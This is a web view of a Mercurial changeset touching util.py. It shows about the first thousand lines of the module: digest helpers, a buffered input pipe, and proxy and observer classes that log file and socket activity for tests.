##// END OF EJS Templates
util: set correct stack level on deprecation warnings...
Martin von Zweigbergk -
r37693:5b8a2607 default
parent child Browse files
Show More
@@ -1,3863 +1,3863 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import bz2
20 20 import collections
21 21 import contextlib
22 22 import errno
23 23 import gc
24 24 import hashlib
25 25 import itertools
26 26 import mmap
27 27 import os
28 28 import platform as pyplatform
29 29 import re as remod
30 30 import shutil
31 31 import socket
32 32 import stat
33 33 import sys
34 34 import tempfile
35 35 import time
36 36 import traceback
37 37 import warnings
38 38 import zlib
39 39
40 40 from . import (
41 41 encoding,
42 42 error,
43 43 i18n,
44 44 node as nodemod,
45 45 policy,
46 46 pycompat,
47 47 urllibcompat,
48 48 )
49 49 from .utils import (
50 50 dateutil,
51 51 procutil,
52 52 stringutil,
53 53 )
54 54
55 55 base85 = policy.importmod(r'base85')
56 56 osutil = policy.importmod(r'osutil')
57 57 parsers = policy.importmod(r'parsers')
58 58
59 59 b85decode = base85.b85decode
60 60 b85encode = base85.b85encode
61 61
62 62 cookielib = pycompat.cookielib
63 63 empty = pycompat.empty
64 64 httplib = pycompat.httplib
65 65 pickle = pycompat.pickle
66 66 queue = pycompat.queue
67 67 safehasattr = pycompat.safehasattr
68 68 socketserver = pycompat.socketserver
69 69 bytesio = pycompat.bytesio
70 70 # TODO deprecate stringio name, as it is a lie on Python 3.
71 71 stringio = bytesio
72 72 xmlrpclib = pycompat.xmlrpclib
73 73
74 74 httpserver = urllibcompat.httpserver
75 75 urlerr = urllibcompat.urlerr
76 76 urlreq = urllibcompat.urlreq
77 77
78 78 # workaround for win32mbcs
79 79 _filenamebytestr = pycompat.bytestr
80 80
81 81 if pycompat.iswindows:
82 82 from . import windows as platform
83 83 else:
84 84 from . import posix as platform
85 85
86 86 _ = i18n._
87 87
88 88 bindunixsocket = platform.bindunixsocket
89 89 cachestat = platform.cachestat
90 90 checkexec = platform.checkexec
91 91 checklink = platform.checklink
92 92 copymode = platform.copymode
93 93 expandglobs = platform.expandglobs
94 94 getfsmountpoint = platform.getfsmountpoint
95 95 getfstype = platform.getfstype
96 96 groupmembers = platform.groupmembers
97 97 groupname = platform.groupname
98 98 isexec = platform.isexec
99 99 isowner = platform.isowner
100 100 listdir = osutil.listdir
101 101 localpath = platform.localpath
102 102 lookupreg = platform.lookupreg
103 103 makedir = platform.makedir
104 104 nlinks = platform.nlinks
105 105 normpath = platform.normpath
106 106 normcase = platform.normcase
107 107 normcasespec = platform.normcasespec
108 108 normcasefallback = platform.normcasefallback
109 109 openhardlinks = platform.openhardlinks
110 110 oslink = platform.oslink
111 111 parsepatchoutput = platform.parsepatchoutput
112 112 pconvert = platform.pconvert
113 113 poll = platform.poll
114 114 posixfile = platform.posixfile
115 115 rename = platform.rename
116 116 removedirs = platform.removedirs
117 117 samedevice = platform.samedevice
118 118 samefile = platform.samefile
119 119 samestat = platform.samestat
120 120 setflags = platform.setflags
121 121 split = platform.split
122 122 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
123 123 statisexec = platform.statisexec
124 124 statislink = platform.statislink
125 125 umask = platform.umask
126 126 unlink = platform.unlink
127 127 username = platform.username
128 128
129 129 try:
130 130 recvfds = osutil.recvfds
131 131 except AttributeError:
132 132 pass
133 133
134 134 # Python compatibility
135 135
136 136 _notset = object()
137 137
138 138 def _rapply(f, xs):
139 139 if xs is None:
140 140 # assume None means non-value of optional data
141 141 return xs
142 142 if isinstance(xs, (list, set, tuple)):
143 143 return type(xs)(_rapply(f, x) for x in xs)
144 144 if isinstance(xs, dict):
145 145 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
146 146 return f(xs)
147 147
148 148 def rapply(f, xs):
149 149 """Apply function recursively to every item preserving the data structure
150 150
151 151 >>> def f(x):
152 152 ... return 'f(%s)' % x
153 153 >>> rapply(f, None) is None
154 154 True
155 155 >>> rapply(f, 'a')
156 156 'f(a)'
157 157 >>> rapply(f, {'a'}) == {'f(a)'}
158 158 True
159 159 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
160 160 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
161 161
162 162 >>> xs = [object()]
163 163 >>> rapply(pycompat.identity, xs) is xs
164 164 True
165 165 """
166 166 if f is pycompat.identity:
167 167 # fast path mainly for py2
168 168 return xs
169 169 return _rapply(f, xs)
170 170
171 171 def bitsfrom(container):
172 172 bits = 0
173 173 for bit in container:
174 174 bits |= bit
175 175 return bits
176 176
177 177 # python 2.6 still have deprecation warning enabled by default. We do not want
178 178 # to display anything to standard user so detect if we are running test and
179 179 # only use python deprecation warning in this case.
180 180 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
181 181 if _dowarn:
182 182 # explicitly unfilter our warning for python 2.7
183 183 #
184 184 # The option of setting PYTHONWARNINGS in the test runner was investigated.
185 185 # However, module name set through PYTHONWARNINGS was exactly matched, so
186 186 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
187 187 # makes the whole PYTHONWARNINGS thing useless for our usecase.
188 188 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
189 189 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
190 190 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
191 191 if _dowarn and pycompat.ispy3:
192 192 # silence warning emitted by passing user string to re.sub()
193 193 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
194 194 r'mercurial')
195 195 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
196 196 DeprecationWarning, r'mercurial')
197 197 # TODO: reinvent imp.is_frozen()
198 198 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
199 199 DeprecationWarning, r'mercurial')
200 200
201 201 def nouideprecwarn(msg, version, stacklevel=1):
202 202 """Issue an python native deprecation warning
203 203
204 204 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
205 205 """
206 206 if _dowarn:
207 207 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
208 208 " update your code.)") % version
209 209 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
210 210
211 211 DIGESTS = {
212 212 'md5': hashlib.md5,
213 213 'sha1': hashlib.sha1,
214 214 'sha512': hashlib.sha512,
215 215 }
216 216 # List of digest types from strongest to weakest
217 217 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
218 218
219 219 for k in DIGESTS_BY_STRENGTH:
220 220 assert k in DIGESTS
221 221
222 222 class digester(object):
223 223 """helper to compute digests.
224 224
225 225 This helper can be used to compute one or more digests given their name.
226 226
227 227 >>> d = digester([b'md5', b'sha1'])
228 228 >>> d.update(b'foo')
229 229 >>> [k for k in sorted(d)]
230 230 ['md5', 'sha1']
231 231 >>> d[b'md5']
232 232 'acbd18db4cc2f85cedef654fccc4a4d8'
233 233 >>> d[b'sha1']
234 234 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
235 235 >>> digester.preferred([b'md5', b'sha1'])
236 236 'sha1'
237 237 """
238 238
239 239 def __init__(self, digests, s=''):
240 240 self._hashes = {}
241 241 for k in digests:
242 242 if k not in DIGESTS:
243 243 raise error.Abort(_('unknown digest type: %s') % k)
244 244 self._hashes[k] = DIGESTS[k]()
245 245 if s:
246 246 self.update(s)
247 247
248 248 def update(self, data):
249 249 for h in self._hashes.values():
250 250 h.update(data)
251 251
252 252 def __getitem__(self, key):
253 253 if key not in DIGESTS:
254 254 raise error.Abort(_('unknown digest type: %s') % k)
255 255 return nodemod.hex(self._hashes[key].digest())
256 256
257 257 def __iter__(self):
258 258 return iter(self._hashes)
259 259
260 260 @staticmethod
261 261 def preferred(supported):
262 262 """returns the strongest digest type in both supported and DIGESTS."""
263 263
264 264 for k in DIGESTS_BY_STRENGTH:
265 265 if k in supported:
266 266 return k
267 267 return None
268 268
269 269 class digestchecker(object):
270 270 """file handle wrapper that additionally checks content against a given
271 271 size and digests.
272 272
273 273 d = digestchecker(fh, size, {'md5': '...'})
274 274
275 275 When multiple digests are given, all of them are validated.
276 276 """
277 277
278 278 def __init__(self, fh, size, digests):
279 279 self._fh = fh
280 280 self._size = size
281 281 self._got = 0
282 282 self._digests = dict(digests)
283 283 self._digester = digester(self._digests.keys())
284 284
285 285 def read(self, length=-1):
286 286 content = self._fh.read(length)
287 287 self._digester.update(content)
288 288 self._got += len(content)
289 289 return content
290 290
291 291 def validate(self):
292 292 if self._size != self._got:
293 293 raise error.Abort(_('size mismatch: expected %d, got %d') %
294 294 (self._size, self._got))
295 295 for k, v in self._digests.items():
296 296 if v != self._digester[k]:
297 297 # i18n: first parameter is a digest name
298 298 raise error.Abort(_('%s mismatch: expected %s, got %s') %
299 299 (k, v, self._digester[k]))
300 300
301 301 try:
302 302 buffer = buffer
303 303 except NameError:
304 304 def buffer(sliceable, offset=0, length=None):
305 305 if length is not None:
306 306 return memoryview(sliceable)[offset:offset + length]
307 307 return memoryview(sliceable)[offset:]
308 308
309 309 _chunksize = 4096
310 310
311 311 class bufferedinputpipe(object):
312 312 """a manually buffered input pipe
313 313
314 314 Python will not let us use buffered IO and lazy reading with 'polling' at
315 315 the same time. We cannot probe the buffer state and select will not detect
316 316 that data are ready to read if they are already buffered.
317 317
318 318 This class let us work around that by implementing its own buffering
319 319 (allowing efficient readline) while offering a way to know if the buffer is
320 320 empty from the output (allowing collaboration of the buffer with polling).
321 321
322 322 This class lives in the 'util' module because it makes use of the 'os'
323 323 module from the python stdlib.
324 324 """
325 325 def __new__(cls, fh):
326 326 # If we receive a fileobjectproxy, we need to use a variation of this
327 327 # class that notifies observers about activity.
328 328 if isinstance(fh, fileobjectproxy):
329 329 cls = observedbufferedinputpipe
330 330
331 331 return super(bufferedinputpipe, cls).__new__(cls)
332 332
333 333 def __init__(self, input):
334 334 self._input = input
335 335 self._buffer = []
336 336 self._eof = False
337 337 self._lenbuf = 0
338 338
339 339 @property
340 340 def hasbuffer(self):
341 341 """True is any data is currently buffered
342 342
343 343 This will be used externally a pre-step for polling IO. If there is
344 344 already data then no polling should be set in place."""
345 345 return bool(self._buffer)
346 346
347 347 @property
348 348 def closed(self):
349 349 return self._input.closed
350 350
351 351 def fileno(self):
352 352 return self._input.fileno()
353 353
354 354 def close(self):
355 355 return self._input.close()
356 356
357 357 def read(self, size):
358 358 while (not self._eof) and (self._lenbuf < size):
359 359 self._fillbuffer()
360 360 return self._frombuffer(size)
361 361
362 362 def readline(self, *args, **kwargs):
363 363 if 1 < len(self._buffer):
364 364 # this should not happen because both read and readline end with a
365 365 # _frombuffer call that collapse it.
366 366 self._buffer = [''.join(self._buffer)]
367 367 self._lenbuf = len(self._buffer[0])
368 368 lfi = -1
369 369 if self._buffer:
370 370 lfi = self._buffer[-1].find('\n')
371 371 while (not self._eof) and lfi < 0:
372 372 self._fillbuffer()
373 373 if self._buffer:
374 374 lfi = self._buffer[-1].find('\n')
375 375 size = lfi + 1
376 376 if lfi < 0: # end of file
377 377 size = self._lenbuf
378 378 elif 1 < len(self._buffer):
379 379 # we need to take previous chunks into account
380 380 size += self._lenbuf - len(self._buffer[-1])
381 381 return self._frombuffer(size)
382 382
383 383 def _frombuffer(self, size):
384 384 """return at most 'size' data from the buffer
385 385
386 386 The data are removed from the buffer."""
387 387 if size == 0 or not self._buffer:
388 388 return ''
389 389 buf = self._buffer[0]
390 390 if 1 < len(self._buffer):
391 391 buf = ''.join(self._buffer)
392 392
393 393 data = buf[:size]
394 394 buf = buf[len(data):]
395 395 if buf:
396 396 self._buffer = [buf]
397 397 self._lenbuf = len(buf)
398 398 else:
399 399 self._buffer = []
400 400 self._lenbuf = 0
401 401 return data
402 402
403 403 def _fillbuffer(self):
404 404 """read data to the buffer"""
405 405 data = os.read(self._input.fileno(), _chunksize)
406 406 if not data:
407 407 self._eof = True
408 408 else:
409 409 self._lenbuf += len(data)
410 410 self._buffer.append(data)
411 411
412 412 return data
413 413
414 414 def mmapread(fp):
415 415 try:
416 416 fd = getattr(fp, 'fileno', lambda: fp)()
417 417 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
418 418 except ValueError:
419 419 # Empty files cannot be mmapped, but mmapread should still work. Check
420 420 # if the file is empty, and if so, return an empty buffer.
421 421 if os.fstat(fd).st_size == 0:
422 422 return ''
423 423 raise
424 424
425 425 class fileobjectproxy(object):
426 426 """A proxy around file objects that tells a watcher when events occur.
427 427
428 428 This type is intended to only be used for testing purposes. Think hard
429 429 before using it in important code.
430 430 """
431 431 __slots__ = (
432 432 r'_orig',
433 433 r'_observer',
434 434 )
435 435
436 436 def __init__(self, fh, observer):
437 437 object.__setattr__(self, r'_orig', fh)
438 438 object.__setattr__(self, r'_observer', observer)
439 439
440 440 def __getattribute__(self, name):
441 441 ours = {
442 442 r'_observer',
443 443
444 444 # IOBase
445 445 r'close',
446 446 # closed if a property
447 447 r'fileno',
448 448 r'flush',
449 449 r'isatty',
450 450 r'readable',
451 451 r'readline',
452 452 r'readlines',
453 453 r'seek',
454 454 r'seekable',
455 455 r'tell',
456 456 r'truncate',
457 457 r'writable',
458 458 r'writelines',
459 459 # RawIOBase
460 460 r'read',
461 461 r'readall',
462 462 r'readinto',
463 463 r'write',
464 464 # BufferedIOBase
465 465 # raw is a property
466 466 r'detach',
467 467 # read defined above
468 468 r'read1',
469 469 # readinto defined above
470 470 # write defined above
471 471 }
472 472
473 473 # We only observe some methods.
474 474 if name in ours:
475 475 return object.__getattribute__(self, name)
476 476
477 477 return getattr(object.__getattribute__(self, r'_orig'), name)
478 478
479 479 def __nonzero__(self):
480 480 return bool(object.__getattribute__(self, r'_orig'))
481 481
482 482 __bool__ = __nonzero__
483 483
484 484 def __delattr__(self, name):
485 485 return delattr(object.__getattribute__(self, r'_orig'), name)
486 486
487 487 def __setattr__(self, name, value):
488 488 return setattr(object.__getattribute__(self, r'_orig'), name, value)
489 489
490 490 def __iter__(self):
491 491 return object.__getattribute__(self, r'_orig').__iter__()
492 492
493 493 def _observedcall(self, name, *args, **kwargs):
494 494 # Call the original object.
495 495 orig = object.__getattribute__(self, r'_orig')
496 496 res = getattr(orig, name)(*args, **kwargs)
497 497
498 498 # Call a method on the observer of the same name with arguments
499 499 # so it can react, log, etc.
500 500 observer = object.__getattribute__(self, r'_observer')
501 501 fn = getattr(observer, name, None)
502 502 if fn:
503 503 fn(res, *args, **kwargs)
504 504
505 505 return res
506 506
507 507 def close(self, *args, **kwargs):
508 508 return object.__getattribute__(self, r'_observedcall')(
509 509 r'close', *args, **kwargs)
510 510
511 511 def fileno(self, *args, **kwargs):
512 512 return object.__getattribute__(self, r'_observedcall')(
513 513 r'fileno', *args, **kwargs)
514 514
515 515 def flush(self, *args, **kwargs):
516 516 return object.__getattribute__(self, r'_observedcall')(
517 517 r'flush', *args, **kwargs)
518 518
519 519 def isatty(self, *args, **kwargs):
520 520 return object.__getattribute__(self, r'_observedcall')(
521 521 r'isatty', *args, **kwargs)
522 522
523 523 def readable(self, *args, **kwargs):
524 524 return object.__getattribute__(self, r'_observedcall')(
525 525 r'readable', *args, **kwargs)
526 526
527 527 def readline(self, *args, **kwargs):
528 528 return object.__getattribute__(self, r'_observedcall')(
529 529 r'readline', *args, **kwargs)
530 530
531 531 def readlines(self, *args, **kwargs):
532 532 return object.__getattribute__(self, r'_observedcall')(
533 533 r'readlines', *args, **kwargs)
534 534
535 535 def seek(self, *args, **kwargs):
536 536 return object.__getattribute__(self, r'_observedcall')(
537 537 r'seek', *args, **kwargs)
538 538
539 539 def seekable(self, *args, **kwargs):
540 540 return object.__getattribute__(self, r'_observedcall')(
541 541 r'seekable', *args, **kwargs)
542 542
543 543 def tell(self, *args, **kwargs):
544 544 return object.__getattribute__(self, r'_observedcall')(
545 545 r'tell', *args, **kwargs)
546 546
547 547 def truncate(self, *args, **kwargs):
548 548 return object.__getattribute__(self, r'_observedcall')(
549 549 r'truncate', *args, **kwargs)
550 550
551 551 def writable(self, *args, **kwargs):
552 552 return object.__getattribute__(self, r'_observedcall')(
553 553 r'writable', *args, **kwargs)
554 554
555 555 def writelines(self, *args, **kwargs):
556 556 return object.__getattribute__(self, r'_observedcall')(
557 557 r'writelines', *args, **kwargs)
558 558
559 559 def read(self, *args, **kwargs):
560 560 return object.__getattribute__(self, r'_observedcall')(
561 561 r'read', *args, **kwargs)
562 562
563 563 def readall(self, *args, **kwargs):
564 564 return object.__getattribute__(self, r'_observedcall')(
565 565 r'readall', *args, **kwargs)
566 566
567 567 def readinto(self, *args, **kwargs):
568 568 return object.__getattribute__(self, r'_observedcall')(
569 569 r'readinto', *args, **kwargs)
570 570
571 571 def write(self, *args, **kwargs):
572 572 return object.__getattribute__(self, r'_observedcall')(
573 573 r'write', *args, **kwargs)
574 574
575 575 def detach(self, *args, **kwargs):
576 576 return object.__getattribute__(self, r'_observedcall')(
577 577 r'detach', *args, **kwargs)
578 578
579 579 def read1(self, *args, **kwargs):
580 580 return object.__getattribute__(self, r'_observedcall')(
581 581 r'read1', *args, **kwargs)
582 582
583 583 class observedbufferedinputpipe(bufferedinputpipe):
584 584 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
585 585
586 586 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
587 587 bypass ``fileobjectproxy``. Because of this, we need to make
588 588 ``bufferedinputpipe`` aware of these operations.
589 589
590 590 This variation of ``bufferedinputpipe`` can notify observers about
591 591 ``os.read()`` events. It also re-publishes other events, such as
592 592 ``read()`` and ``readline()``.
593 593 """
594 594 def _fillbuffer(self):
595 595 res = super(observedbufferedinputpipe, self)._fillbuffer()
596 596
597 597 fn = getattr(self._input._observer, r'osread', None)
598 598 if fn:
599 599 fn(res, _chunksize)
600 600
601 601 return res
602 602
603 603 # We use different observer methods because the operation isn't
604 604 # performed on the actual file object but on us.
605 605 def read(self, size):
606 606 res = super(observedbufferedinputpipe, self).read(size)
607 607
608 608 fn = getattr(self._input._observer, r'bufferedread', None)
609 609 if fn:
610 610 fn(res, size)
611 611
612 612 return res
613 613
614 614 def readline(self, *args, **kwargs):
615 615 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
616 616
617 617 fn = getattr(self._input._observer, r'bufferedreadline', None)
618 618 if fn:
619 619 fn(res)
620 620
621 621 return res
622 622
623 623 PROXIED_SOCKET_METHODS = {
624 624 r'makefile',
625 625 r'recv',
626 626 r'recvfrom',
627 627 r'recvfrom_into',
628 628 r'recv_into',
629 629 r'send',
630 630 r'sendall',
631 631 r'sendto',
632 632 r'setblocking',
633 633 r'settimeout',
634 634 r'gettimeout',
635 635 r'setsockopt',
636 636 }
637 637
638 638 class socketproxy(object):
639 639 """A proxy around a socket that tells a watcher when events occur.
640 640
641 641 This is like ``fileobjectproxy`` except for sockets.
642 642
643 643 This type is intended to only be used for testing purposes. Think hard
644 644 before using it in important code.
645 645 """
646 646 __slots__ = (
647 647 r'_orig',
648 648 r'_observer',
649 649 )
650 650
651 651 def __init__(self, sock, observer):
652 652 object.__setattr__(self, r'_orig', sock)
653 653 object.__setattr__(self, r'_observer', observer)
654 654
655 655 def __getattribute__(self, name):
656 656 if name in PROXIED_SOCKET_METHODS:
657 657 return object.__getattribute__(self, name)
658 658
659 659 return getattr(object.__getattribute__(self, r'_orig'), name)
660 660
661 661 def __delattr__(self, name):
662 662 return delattr(object.__getattribute__(self, r'_orig'), name)
663 663
664 664 def __setattr__(self, name, value):
665 665 return setattr(object.__getattribute__(self, r'_orig'), name, value)
666 666
667 667 def __nonzero__(self):
668 668 return bool(object.__getattribute__(self, r'_orig'))
669 669
670 670 __bool__ = __nonzero__
671 671
672 672 def _observedcall(self, name, *args, **kwargs):
673 673 # Call the original object.
674 674 orig = object.__getattribute__(self, r'_orig')
675 675 res = getattr(orig, name)(*args, **kwargs)
676 676
677 677 # Call a method on the observer of the same name with arguments
678 678 # so it can react, log, etc.
679 679 observer = object.__getattribute__(self, r'_observer')
680 680 fn = getattr(observer, name, None)
681 681 if fn:
682 682 fn(res, *args, **kwargs)
683 683
684 684 return res
685 685
686 686 def makefile(self, *args, **kwargs):
687 687 res = object.__getattribute__(self, r'_observedcall')(
688 688 r'makefile', *args, **kwargs)
689 689
690 690 # The file object may be used for I/O. So we turn it into a
691 691 # proxy using our observer.
692 692 observer = object.__getattribute__(self, r'_observer')
693 693 return makeloggingfileobject(observer.fh, res, observer.name,
694 694 reads=observer.reads,
695 695 writes=observer.writes,
696 696 logdata=observer.logdata,
697 697 logdataapis=observer.logdataapis)
698 698
699 699 def recv(self, *args, **kwargs):
700 700 return object.__getattribute__(self, r'_observedcall')(
701 701 r'recv', *args, **kwargs)
702 702
703 703 def recvfrom(self, *args, **kwargs):
704 704 return object.__getattribute__(self, r'_observedcall')(
705 705 r'recvfrom', *args, **kwargs)
706 706
707 707 def recvfrom_into(self, *args, **kwargs):
708 708 return object.__getattribute__(self, r'_observedcall')(
709 709 r'recvfrom_into', *args, **kwargs)
710 710
711 711 def recv_into(self, *args, **kwargs):
712 712 return object.__getattribute__(self, r'_observedcall')(
713 713 r'recv_info', *args, **kwargs)
714 714
715 715 def send(self, *args, **kwargs):
716 716 return object.__getattribute__(self, r'_observedcall')(
717 717 r'send', *args, **kwargs)
718 718
719 719 def sendall(self, *args, **kwargs):
720 720 return object.__getattribute__(self, r'_observedcall')(
721 721 r'sendall', *args, **kwargs)
722 722
723 723 def sendto(self, *args, **kwargs):
724 724 return object.__getattribute__(self, r'_observedcall')(
725 725 r'sendto', *args, **kwargs)
726 726
727 727 def setblocking(self, *args, **kwargs):
728 728 return object.__getattribute__(self, r'_observedcall')(
729 729 r'setblocking', *args, **kwargs)
730 730
731 731 def settimeout(self, *args, **kwargs):
732 732 return object.__getattribute__(self, r'_observedcall')(
733 733 r'settimeout', *args, **kwargs)
734 734
735 735 def gettimeout(self, *args, **kwargs):
736 736 return object.__getattribute__(self, r'_observedcall')(
737 737 r'gettimeout', *args, **kwargs)
738 738
739 739 def setsockopt(self, *args, **kwargs):
740 740 return object.__getattribute__(self, r'_observedcall')(
741 741 r'setsockopt', *args, **kwargs)
742 742
743 743 class baseproxyobserver(object):
744 744 def _writedata(self, data):
745 745 if not self.logdata:
746 746 if self.logdataapis:
747 747 self.fh.write('\n')
748 748 self.fh.flush()
749 749 return
750 750
751 751 # Simple case writes all data on a single line.
752 752 if b'\n' not in data:
753 753 if self.logdataapis:
754 754 self.fh.write(': %s\n' % stringutil.escapestr(data))
755 755 else:
756 756 self.fh.write('%s> %s\n'
757 757 % (self.name, stringutil.escapestr(data)))
758 758 self.fh.flush()
759 759 return
760 760
761 761 # Data with newlines is written to multiple lines.
762 762 if self.logdataapis:
763 763 self.fh.write(':\n')
764 764
765 765 lines = data.splitlines(True)
766 766 for line in lines:
767 767 self.fh.write('%s> %s\n'
768 768 % (self.name, stringutil.escapestr(line)))
769 769 self.fh.flush()
770 770
771 771 class fileobjectobserver(baseproxyobserver):
772 772 """Logs file object activity."""
773 773 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
774 774 logdataapis=True):
775 775 self.fh = fh
776 776 self.name = name
777 777 self.logdata = logdata
778 778 self.logdataapis = logdataapis
779 779 self.reads = reads
780 780 self.writes = writes
781 781
782 782 def read(self, res, size=-1):
783 783 if not self.reads:
784 784 return
785 785 # Python 3 can return None from reads at EOF instead of empty strings.
786 786 if res is None:
787 787 res = ''
788 788
789 789 if self.logdataapis:
790 790 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
791 791
792 792 self._writedata(res)
793 793
794 794 def readline(self, res, limit=-1):
795 795 if not self.reads:
796 796 return
797 797
798 798 if self.logdataapis:
799 799 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
800 800
801 801 self._writedata(res)
802 802
803 803 def readinto(self, res, dest):
804 804 if not self.reads:
805 805 return
806 806
807 807 if self.logdataapis:
808 808 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
809 809 res))
810 810
811 811 data = dest[0:res] if res is not None else b''
812 812 self._writedata(data)
813 813
814 814 def write(self, res, data):
815 815 if not self.writes:
816 816 return
817 817
818 818 # Python 2 returns None from some write() calls. Python 3 (reasonably)
819 819 # returns the integer bytes written.
820 820 if res is None and data:
821 821 res = len(data)
822 822
823 823 if self.logdataapis:
824 824 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
825 825
826 826 self._writedata(data)
827 827
828 828 def flush(self, res):
829 829 if not self.writes:
830 830 return
831 831
832 832 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
833 833
834 834 # For observedbufferedinputpipe.
835 835 def bufferedread(self, res, size):
836 836 if not self.reads:
837 837 return
838 838
839 839 if self.logdataapis:
840 840 self.fh.write('%s> bufferedread(%d) -> %d' % (
841 841 self.name, size, len(res)))
842 842
843 843 self._writedata(res)
844 844
845 845 def bufferedreadline(self, res):
846 846 if not self.reads:
847 847 return
848 848
849 849 if self.logdataapis:
850 850 self.fh.write('%s> bufferedreadline() -> %d' % (
851 851 self.name, len(res)))
852 852
853 853 self._writedata(res)
854 854
855 855 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
856 856 logdata=False, logdataapis=True):
857 857 """Turn a file object into a logging file object."""
858 858
859 859 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
860 860 logdata=logdata, logdataapis=logdataapis)
861 861 return fileobjectproxy(fh, observer)
862 862
863 863 class socketobserver(baseproxyobserver):
864 864 """Logs socket activity."""
865 865 def __init__(self, fh, name, reads=True, writes=True, states=True,
866 866 logdata=False, logdataapis=True):
867 867 self.fh = fh
868 868 self.name = name
869 869 self.reads = reads
870 870 self.writes = writes
871 871 self.states = states
872 872 self.logdata = logdata
873 873 self.logdataapis = logdataapis
874 874
875 875 def makefile(self, res, mode=None, bufsize=None):
876 876 if not self.states:
877 877 return
878 878
879 879 self.fh.write('%s> makefile(%r, %r)\n' % (
880 880 self.name, mode, bufsize))
881 881
882 882 def recv(self, res, size, flags=0):
883 883 if not self.reads:
884 884 return
885 885
886 886 if self.logdataapis:
887 887 self.fh.write('%s> recv(%d, %d) -> %d' % (
888 888 self.name, size, flags, len(res)))
889 889 self._writedata(res)
890 890
891 891 def recvfrom(self, res, size, flags=0):
892 892 if not self.reads:
893 893 return
894 894
895 895 if self.logdataapis:
896 896 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
897 897 self.name, size, flags, len(res[0])))
898 898
899 899 self._writedata(res[0])
900 900
901 901 def recvfrom_into(self, res, buf, size, flags=0):
902 902 if not self.reads:
903 903 return
904 904
905 905 if self.logdataapis:
906 906 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
907 907 self.name, size, flags, res[0]))
908 908
909 909 self._writedata(buf[0:res[0]])
910 910
911 911 def recv_into(self, res, buf, size=0, flags=0):
912 912 if not self.reads:
913 913 return
914 914
915 915 if self.logdataapis:
916 916 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
917 917 self.name, size, flags, res))
918 918
919 919 self._writedata(buf[0:res])
920 920
921 921 def send(self, res, data, flags=0):
922 922 if not self.writes:
923 923 return
924 924
925 925 self.fh.write('%s> send(%d, %d) -> %d' % (
926 926 self.name, len(data), flags, len(res)))
927 927 self._writedata(data)
928 928
929 929 def sendall(self, res, data, flags=0):
930 930 if not self.writes:
931 931 return
932 932
933 933 if self.logdataapis:
934 934 # Returns None on success. So don't bother reporting return value.
935 935 self.fh.write('%s> sendall(%d, %d)' % (
936 936 self.name, len(data), flags))
937 937
938 938 self._writedata(data)
939 939
940 940 def sendto(self, res, data, flagsoraddress, address=None):
941 941 if not self.writes:
942 942 return
943 943
944 944 if address:
945 945 flags = flagsoraddress
946 946 else:
947 947 flags = 0
948 948
949 949 if self.logdataapis:
950 950 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
951 951 self.name, len(data), flags, address, res))
952 952
953 953 self._writedata(data)
954 954
955 955 def setblocking(self, res, flag):
956 956 if not self.states:
957 957 return
958 958
959 959 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
960 960
961 961 def settimeout(self, res, value):
962 962 if not self.states:
963 963 return
964 964
965 965 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
966 966
967 967 def gettimeout(self, res):
968 968 if not self.states:
969 969 return
970 970
971 971 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
972 972
973 973 def setsockopt(self, level, optname, value):
974 974 if not self.states:
975 975 return
976 976
977 977 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
978 978 self.name, level, optname, value))
979 979
980 980 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
981 981 logdata=False, logdataapis=True):
982 982 """Turn a socket into a logging socket."""
983 983
984 984 observer = socketobserver(logh, name, reads=reads, writes=writes,
985 985 states=states, logdata=logdata,
986 986 logdataapis=logdataapis)
987 987 return socketproxy(fh, observer)
988 988
989 989 def version():
990 990 """Return version information if available."""
991 991 try:
992 992 from . import __version__
993 993 return __version__.version
994 994 except ImportError:
995 995 return 'unknown'
996 996
997 997 def versiontuple(v=None, n=4):
998 998 """Parses a Mercurial version string into an N-tuple.
999 999
1000 1000 The version string to be parsed is specified with the ``v`` argument.
